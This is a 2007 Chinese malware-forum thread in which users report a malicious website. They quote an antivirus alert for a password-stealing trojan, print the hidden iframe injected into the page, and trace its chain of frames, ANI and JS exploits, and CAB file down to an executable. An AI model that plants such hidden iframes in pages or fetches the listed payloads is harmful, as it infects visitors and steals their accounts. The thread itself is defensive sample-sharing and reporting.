毒网

显示全部楼层 · 发表于 2007-8-26 16:16:01

显示全部楼层 · 发表于 2007-8-26 16:20:45

微点：
木马名称:Trojan-PSW.Win32.Delf.dvh

程序:
C:\DOCUMENTS AND SETTINGS\ADMINISTRATOR\LOCAL SETTINGS\TEMP\TEMPORARY INTERNET FILES\CONTENT.IE5\J9EIM0JH\3[1].EXE
是木马程序!
已成功阻止其运行,是否要删除此文件?

显示全部楼层 · 发表于 2007-8-26 16:20:49

发现一可疑连接 <iframe src="http://pop.wzxqy.com/444/index.htm" width="20" height="0" frameborder="0"></iframe>

显示全部楼层 · 发表于 2007-8-26 16:21:31

hxxp://pop.wzxqy.com/444/index.htm

==>frame
hxxp://cc.wzxqy.com/tt/index.htm
hxxp://cc.wzxqy.com/tt/1.gif[ani]hxxp://cc.wzxqy.com/tt/mm.exe
==>frame
hxxp://cc.wzxqy.com/wm/index.htm
hxxp://cc.wzxqy.com/wm/1.js==>hxxp://cc.wzxqy.com/tt/mm.exe
==>frame
hxxp://xx.wzxqy.com/wm2/index.htm
hxxp://xx.wzxqy.com/wm2/mm.cab[Unpack]mm.exe
==>frame
hxxp://a.wzxqy.com/wm/index.htm

[ 本帖最后由 jimmyleo 于 2007-8-26 16:35 编辑 ]

显示全部楼层 · 发表于 2007-8-26 16:23:06

原帖由 微点卫士 于 2007-8-26 16:20 发表
微点：
木马名称:Trojan-PSW.Win32.Delf.dvh

程序:
C:\DOCUMENTS AND SETTINGS\ADMINISTRATOR\LOCAL SETTINGS\TEMP\TEMPORARY INTERNET FILES\CONTENT.IE5\J9EIM0JH\3[1].EXE
是木马程序!
已成功阻止其运 ...

微点居然报了，不容易

显示全部楼层 · 发表于 2007-8-26 16:48:38

hxxp://cc.wzxqy.com/tt/mm.exe

MS06-14下载

应该是个盗号的

其他另外4个网没发现,有个ANI,失效了

PS:里面的影片可以放,晕

显示全部楼层 · 发表于 2007-8-26 16:56:09

可以看啊~

显示全部楼层 · 发表于 2007-8-26 17:02:26

原帖由 jimmyleo 于 2007-8-26 16:56 发表
可以看啊~

对喔```

不过画面很抱歉,不是一般的失真
``

汗,谁去举报下

显示全部楼层 · 发表于 2007-8-26 17:02:33

抓上来了

显示全部楼层 · 发表于 2007-8-26 17:05:43

原帖由 jimmyleo 于 2007-8-26 16:56 发表
可以看啊~

[病毒样本] 毒网

本帖子中包含更多资源

本帖子中包含更多资源